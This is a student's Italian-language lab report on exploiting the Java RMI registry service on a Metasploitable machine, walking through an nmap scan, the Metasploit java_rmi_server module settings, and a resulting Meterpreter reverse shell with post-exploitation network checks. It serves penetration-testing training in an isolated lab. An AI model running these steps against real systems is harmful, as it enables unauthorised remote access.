

# Analisi e Sfruttamento del Servizio Java RMI (porta 1099) su Metasploitable

Studente: Simone Santonico

Data: 22/05/2026

## 1. Scenario e Obiettivo

L'attività riproduce un contesto realistico in cui un servizio **Java RMI** esposto su una macchina vulnerabile può essere compromesso per ottenere accesso remoto.

L'obiettivo non è solo eseguire l'exploit, ma **comprendere il funzionamento della vulnerabilità**, il motivo per cui è sfruttabile e quali informazioni è possibile raccogliere una volta ottenuto il controllo del sistema.

Il lavoro è stato affrontato seguendo un flusso tipico da penetration tester:

- Ricognizione iniziale
- Selezione e configurazione dell'exploit
- Post-exploitation e raccolta evidenze

## 2. Ricognizione del Servizio

Per verificare la presenza del servizio vulnerabile, è stata effettuata una scansione mirata:

Codice

```
nmap -sV -p1099 192.168.11.112
```

Risultato:

- **Porta 1099 aperta**
- **Servizio identificato: Java RMI Registry**

“1099/tcp open java-rmi Java RMI Registry”

Questa conferma indica che la superficie d'attacco è coerente con la traccia e che il servizio è potenzialmente sfruttabile.

## 3. Preparazione dell'Exploit

Dopo l'avvio di Metasploit (**msfconsole**), è stato selezionato il modulo:

Codice

```
use exploit/multi/misc/java_rmi_server
```

Parametri configurati:

- `RHOSTS = 192.168.11.112`
- `LHOST = 192.168.11.111`
- `LPORT = 4444`

Per evitare problemi di sincronizzazione, è stato necessario impostare:

Codice

```
set HTTPDELAY 20
```

“Questo passaggio è stato utile per comprendere come alcuni exploit richiedano un timing preciso.”

## 4. Esecuzione dell'Exploit

L'esecuzione ha prodotto una sessione Meterpreter attiva:

Codice

```
[*] Meterpreter session 1 opened!
```

“L'apertura della sessione Meterpreter è sempre un momento soddisfacente...”

Questo conferma che il payload è stato eseguito correttamente sulla macchina target.

## 5. Raccolta delle Evidenze Post-Exploitation

### 5.1 Informazioni di rete

Comando eseguito:

Codice

```
meterpreter > ifconfig
```

Output:

- Interfaccia: **eth0**
- IP: **192.168.11.112**
- Netmask: **255.255.255.0**

“La configurazione di rete conferma che siamo effettivamente sulla macchina vittima.”

## 5.2 Tabella di Routing

Codice

meterpreter > route

Risultato:

- Rete: **192.168.11.0/24**
- Interfaccia: **eth0**

“La tabella di routing è semplice, ma conferma che la macchina è parte della stessa rete locale della Kali.”

## 6. Considerazioni Conclusive

L'esercitazione ha permesso di consolidare competenze fondamentali:

### ✓ Analisi della superficie d'attacco

Capire il ruolo del servizio vulnerabile e il suo impatto sul sistema.

### ✓ Configurazione accurata degli exploit

Un singolo parametro errato (come **HTTPDELAY**) può compromettere l'intero attacco.

### ✓ Post-exploitation consapevole

La sessione Meterpreter è solo il punto di partenza: le evidenze raccolte sono essenziali per documentare l'accesso.

### ✓ Approccio metodico

Verifica → Documentazione → Interpretazione

“Ho cercato di mantenere un metodo ordinato, come farebbe un analista SOC o un penetration tester.”

## 7. Riflessione Personale

L'utilizzo di Java RMI su Metasploitable offre un ambiente controllato ma realistico, ideale per comprendere sia la fase di attacco sia quella di analisi successiva.

L'errore legato al timing dell'exploit è stato particolarmente utile per sviluppare un approccio critico e non meccanico: spesso la differenza tra successo e fallimento risiede in dettagli apparentemente marginali.

